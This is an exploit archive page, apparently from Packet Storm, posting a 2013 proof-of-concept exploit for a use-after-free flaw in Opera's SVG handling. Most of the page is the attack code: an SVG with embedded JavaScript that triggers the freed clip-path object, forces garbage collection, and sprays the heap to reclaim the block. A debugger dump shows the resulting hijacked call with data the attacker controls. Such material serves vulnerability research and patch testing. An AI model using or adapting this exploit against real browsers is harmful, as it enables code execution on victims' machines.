exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Opera SVG Use-After-Free

Opera SVG Use-After-Free
Posted Feb 5, 2013
Authored by cons0ul

Opera appears to suffer from a SVG use-after-free vulnerability.

tags | exploit
SHA-256 | d90e95931435f6286ab827232216ed637ec6b27b22b209246804429448843063

Opera SVG Use-After-Free

Change Mirror Download
<svg xmlns="http://www.w3.org/2000/svg"  xmlns:xlink="http://www.w0.org/1999/xlink">
<g id="group">
<defs>
<clipPath id="clip-circle" clip-path="url(#clip-rect)">
</clipPath>
<clipPath id="clip-rect">
</clipPath>
</defs>
<circle id="rect" x="10" y="10" width="100" height="100" fill="green" />
</g>
<script><![CDATA[

//Author=Cons0ul

var b = new Array();

// this is our spray function where spray is allocated on LFH with exact size 0x78
// so 0x78 size of block is created so far we are creating 0x50000 blocks
// to create 0x78 blocks we are using ArrayBuffer();

function feng_shui(){

for(i=0;i<1000;i++)window.opera.collect(); // <----- garbage collection


for(i=0;i<0x50000;i++){
payload = new ArrayBuffer(0x78) // use 0xb0 for 64bit machine
payload[0]=0x6c
payload[1]=0x03
payload[2]=0xfe
payload[3]=0x7f
b.push(payload)
}
}


// bug is use after free in handling of (use tag + clippath) witch try to access freed object
//

document.getElementById('rect').setAttribute('clip-path',"url(#clip-circle)");
var c = document.createElement('use');
c.setAttribute("xlink:href","rect")

feng_shui();
document.getElementById('clip-rect').appendChild(c);
document.getElementById('rect').style.clipPath="url(#clip-circle)" // <----- bug
window.opera.collect() // <------ gc() frees the allocation
feng_shui(); // <------------ we allocate our code at freed memory
// at the end it tries freed block witch contains our data
window.location.href=window.location.href;


/*

idc !heap -p -a ecx

address 077c45e0 found in
_HEAP @ b40000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
077c45d8 0010 0000 [00] 077c45e0 00078 - (free)



PS C:\Users\cons0ul> idc db ecx
077c45e0 92 48 fe 7f 00 00 00 00-00 00 00 00 00 00 00 00 .H..............
077c45f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
077c4600 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
077c4610 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
077c4620 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
077c4630 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
077c4640 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
077c4650 00 00 00 00 00 00 00 00-89 d0 6a 5b 00 00 00 88 ..........j[....
PS C:\Users\cons0ul> idc r
eax=7ffe4892 ebx=00000001 ecx=077c45e0 edx=00000000 esi=0372e590 edi=01d40048
eip=6b8c998b esp=0013e334 ebp=00000000 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
Opera_6b430000!OpGetNextUninstallFile+0xf8583:
6b8c998b ff5008 call dword ptr [eax+8] ds:0023:7ffe489a=????????
*/

]]></script>
</svg>

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close